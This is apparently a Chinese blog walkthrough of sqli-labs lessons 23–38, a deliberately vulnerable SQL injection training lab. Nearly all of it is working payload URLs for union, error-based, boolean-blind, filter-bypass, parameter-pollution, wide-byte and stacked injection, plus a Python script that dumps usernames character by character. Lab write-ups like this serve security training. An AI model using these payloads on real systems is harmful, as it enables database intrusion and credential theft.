http://192.168.75.128:8080/Less-23/?id=-1' union select 1,(select group_concat(password) from users),3 or '1' = '1

Less-24

二次注入

其实想让你做的是修改admin的密码,因为正常是不知道admin的密码,甚至admin这个用户名都是猜的,所以修改了admin的密码就算通关

查看源码得知,注册的时候使用mysql_real_escape_string来对特殊字符进行转义,但是发现源码,注册admin'# 登录admin'# 转义后是admin'\# 则是admin'# ,但是修改密码没有转义,所以修改的admin'# 实际上修改的是admin

# 环境出错

Less-25

看页面显示应该是过滤了andor

# 双写绕过,闭合成功
http://192.168.75.128:8080/Less-25/?id=1' anandd '1'='1
# 暴显示位 - 1,2
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,2,3 oorr '1'='1
# 库
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,database(),3 oorr '1'='1
# 表
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3 oorr '1'='1
# 列
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'),3 oorr '1'='1
# 数据
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,(select group_concat(username) from users),3 oorr '1'='1
http://192.168.75.128:8080/Less-25/?id=-1' union select 1,(select group_concat(passwoorrd) from users),3 oorr '1'='1

Less-26

看题目过滤了注释和空格,使用括号绕过

# 双写绕过,闭合成功
http://192.168.75.128:8080/Less-26/?id=1' aandnd '1'='1
# 发现不能使用联合注入,有报错,使用报错注入
# 库
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',database()),1))) || '1
# 表
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))) || '1
# 列
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database() aandnd (table_name='users')))),1))) || '1
# 数据
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',(select(group_concat(username))from(users))),1))) || '1
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',(select(group_concat(passwoorrd))from(users))),1))) || '1

Less-26a

less没有显示报错了,使用布尔盲注,多了个括号

# 双写绕过,闭合成功,
http://192.168.75.128:8080/Less-26a/?id=2') aandnd ('1'='1
http://192.168.75.128:8080/Less-26a/?id=2') aandnd ('1'='
# 逐个字破解 库,数据库名的第一个字的 ascii 码为 115 为 s
http://192.168.75.128:8080/Less-26a/?id=2') aandnd (ascii(substr(database(), 1, 1)) = 115) aandnd ('1
# 逐个字破解 表,所有数据表名的第一个字的 ascii 码为 101 为 e
http://192.168.75.128:8080/Less-26a/?id=1') aandnd (ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())), 1, 1)) = 101) aandnd ('1
# 逐个字破解 列,所有表中的列名的第一个字的 ascii 码为 101 为 i
http://192.168.75.128:8080/Less-26a/?id=1') aandnd (ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()||(table_name='security'))), 1, 1)) = 105) aandnd ('1
# 数据username第一个字的 ascii 码为 68 为 D
http://192.168.75.128:8080/Less-26a/?id=1') aandnd (ascii(substr((select(group_concat(username))from(users)), 1, 1)) = 68) aandnd ('1

使用脚本

# 脚本 py
# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup

url = 'http://192.168.75.128:8080/Less-26a/'

data_name = []

def get_data():
    # 数据长度根据需要获取的长度来决定,97一般足够用
    for i in range(1,97):
        for l in range(31, 122): # ascii
            # 爆\库
            # sql_payload = f"2') aandnd (ascii(substr(database(), {i}, 1)) = {l}) aandnd ('1"
            # 爆表
            # sql_payload = f"1') aandnd (ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())), {i}, 1)) = {l}) aandnd ('1"
            # 爆列
            # sql_payload = f"1') aandnd (ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()||(table_name='security'))), {i}, 1)) = {l}) aandnd ('1"
            # 暴数据
            sql_payload = f"1') aandnd (ascii(substr((select(group_concat(username))from(users)), {i}, 1)) = {l}) aandnd ('1"
            encoded_payload = sql_payload.replace("'", "%27").replace("(", "%28").replace(")","%29")
            full_url = f"{url}?id={encoded_payload}"
            x = requests.get(full_url)

            soup = BeautifulSoup(x.text, "lxml")
            if "Your Login" in soup.get_text():
                print(f"Found payload: {sql_payload}")
                print(f"Ascii is {l},chr is {chr(l)}")
                data_name.append(chr(l))
                break

get_data()
print(data_name)

Less-27

这关没绕过andor 但是绕过selectunion

# 双写绕过,闭合成功
http://192.168.75.128:8080/Less-27/?id=1' and '1'='2
# 发现不能使用联合注入,有报错,使用报错注入
# 库
http://192.168.75.128:8080/Less-26/?id=-1' || (select (updatexml(1,concat('~',database()),1))) || '1
# 表
http://192.168.75.128:8080/Less-27/?id=1' and (selecselselectectt(updatexml(1,concat('~',(selecselselectectt(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))) || '1' = '1
# 列
http://192.168.75.128:8080/Less-27/?id=1' and (selecselselectectt(updatexml(1,concat('~',(selecselselectectt(group_concat(column_name))from(information_schema.columns)where(table_schema=database() and (table_name='users')))),1))) || '1' = '1
# 数据
http://192.168.75.128:8080/Less-27/?id=1' and (selecselselectectt(updatexml(1,concat('~',(selecselselectectt(group_concat(username))from(users))),1))) || '1' = '1
http://192.168.75.128:8080/Less-27/?id=1' and (selecselselectectt(updatexml(1,concat('~',(selecselselectectt(group_concat(password))from(users))),1))) || '1' = '1

Less-27a

过滤selectunion以及空格

# 闭合成功
http://192.168.75.128:8080/Less-27a/?id=1" and "1"="1
http://192.168.75.128:8080/Less-27a/?id=1" and "1"="2
# 逐个字破解 库,数据库名的第一个字的 ascii 码为 115 为 s
http://192.168.75.128:8080/Less-27a/?id=1" and (ascii(substr(database(), 1, 1)) = 115) and "1
# 逐个字破解 表,所有数据表名的第一个字的 ascii 码为 101 为 e
http://192.168.75.128:8080/Less-27a/?id=1" and (ascii(substr((selselselectectect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=101) and "1
# 逐个字破解 列,所有表中的列名的第一个字的 ascii 码为 105 为 i
http://192.168.75.128:8080/Less-27a/?id=1" and (ascii(substr((selselselectectect(group_concat(column_name))from(information_schema.columns)where(table_schema=database() and (table_name='users'))),1,1))=105) and "1
# 数据username第一个字的 ascii 码为 68 为 D
http://192.168.75.128:8080/Less-27a/?id=1" and (ascii(substr((selselselectectect(group_concat(username))from(users)),1,1))=68) and "1

Less-28

Less-26无区别,只需修改and

Less-28a

同上

http://192.168.75.128:8080/Less-28a/?id=1') and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database()||(table_name='security'))), 1, 1)) = 106) and ('1

Less-29

主网页应该是在login而不是index

当你输入?id=1' 单引号闭合的时候会弹出WAF

绕过的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入,?id=1&id=2

错误注入,但是也可以使用联合注入

# 库
http://192.168.75.128:8080/Less-29/login.php?id=1&id=1' and (updatexml(1,concat('~',database()),1)) and '1
# 表
http://192.168.75.128:8080/Less-29/login.php?id=1&id=1' and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)) and '1
# 列
http://192.168.75.128:8080/Less-29/login.php?id=1&id=1' and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)) and '1
# 数据
http://192.168.75.128:8080/Less-29/login.php?id=1&id=1' and (updatexml(1,concat('~',(select group_concat(username) from users)),1)) and '1

Less-30

# 注入点
http://192.168.75.128:8080/Less-30/login.php?id=1&id=1" and 1=2 --+
# 位数
http://192.168.75.128:8080/Less-30/login.php?id=1&id=1" order by 3 --+
# 爆显示位 2,3
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,2,3--+
# 库
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,database(),3--+
# 表
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 列
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
# 数据
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,group_concat(username),3 from users--+
http://192.168.75.128:8080/Less-30/login.php?id=1&id=-1" union select 1,group_concat(password),3 from users--+

Less-31

依旧是login.php

# 注入点
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=1")--+
# 位数
http://192.168.75.128:8080/Less-30/login.php?id=1&id=1" order by 3 --+
# 爆显示位 2,3
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1") union select 1,2,3--+
# 库
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1") union select 1,database(),3--+
# 表
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 列
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
# 数据
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1")union select 1,group_concat(username),3 from users--+
http://192.168.75.128:8080/Less-31/login.php/?id=1&id=-1")union select 1,group_concat(password),3 from users--+

Less-32

查看源码发现mysql_query("SET NAMES gbk"); ,并且过滤了 '" 因为是gbk编码,可以尝试宽字节注入,使用%df

# 注入点
http://192.168.75.128:8080/Less-32/?id=-1%df'
# 位数
http://192.168.75.128:8080/Less-32/?id=1%df%27 order by 3--+
# 爆显示位
http://192.168.75.128:8080/Less-32/?id=-1%df%27 union select 1,2,3--+
# 库
http://192.168.75.128:8080/Less-32/?id=-1%df%27 union select 1,database(),3--+
# 表
http://192.168.75.128:8080/Less-32/?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 列
http://192.168.75.128:8080/Less-32/?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
# 数据
http://192.168.75.128:8080/Less-32/?id=-1%df%27 union select 1,group_concat(username),3 from users --+

Less-33

和Less-32一模一样

Less-34

POST提交,使用宽字节绕过

# 注入点
uname=admin&passwd=admin%df%27--+&submit=Submit
# 位数
uname=admin&passwd=admin%df%27%20order%20by%202--+&submit=Submit
# 爆显示位
uname=admin&passwd=admin%df%27%20union%20select%201,2--+&submit=Submit
# 库
uname=admin&passwd=admin%df%27%20union%20select%201,database()--+&submit=Submit
# 表
uname=admin&passwd=admin%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+&submit=Submit
# 列,需要使用16进制,上面的也一样
uname=admin&passwd=admin%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+&submit=Submit
# 数据
uname=admin&passwd=admin%df%27%20union%20select%201,group_concat(username)%20from%20users--+&submit=Submit

Less-35

数字型

# 注入点
http://192.168.75.128:8080/Less-35/?id=1 
# 位数
http://192.168.75.128:8080/Less-35/?id=1 order by 3
# 爆显示位
http://192.168.75.128:8080/Less-35/?id=-1 union select 1,2,3
# 库
http://192.168.75.128:8080/Less-35/?id=-1 union select 1,database(),3
# 表
http://192.168.75.128:8080/Less-35/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
# 列,需要使用16进制,上面的也一样
http://192.168.75.128:8080/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
# 数据
http://192.168.75.128:8080/Less-35/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Less-36

Less-32很相似,一样

# 注入点
http://192.168.75.128:8080/Less-36/?id=1%df%27 and 1=1--+
# 位数
http://192.168.75.128:8080/Less-36/?id=1%df%27 order by 3 --+
# 爆显示位
http://192.168.75.128:8080/Less-36/?id=-1%df%27 union select 1,2,3 --+
# 库
http://192.168.75.128:8080/Less-36/?id=-1%df%27 union select 1,database(),3 --+
# 表
http://192.168.75.128:8080/Less-36/?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 列,需要使用16进制,上面的也一样
http://192.168.75.128:8080/Less-36/?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
# 数据
http://192.168.75.128:8080/Less-36/?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from users --+

Less-37

POST,和Less-34一样

# 注入点
uname=admin&passwd=admin%df'--+&submit=Submit
# 位数
uname=admin&passwd=admin%df' order by 2--+&submit=Submit
# 爆显示位
uname=admin&passwd=admin%df' union select 1,2--+&submit=Submit
# 库
uname=admin&passwd=admin%df' union select database(),2--+&submit=Submit
# 表
uname=admin&passwd=admin%df' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&submit=Submit
# 列,需要使用16进制,上面的也一样
uname=admin&passwd=admin%df' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&submit=Submit
# 数据
uname=admin&passwd=admin%df' union select group_concat(username),group_concat(password) from users--+&submit=Submit

Stacked Injection

Less-38

可以使用联合注入来获得账号密码,但是本主题是堆叠注入

# 注入自己的用户
http://192.168.75.128:8080/Less-38/?id=1';insert into users (id,username,password) values (30,'sunset','12345');

在这里插入图片描述

  • 19
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值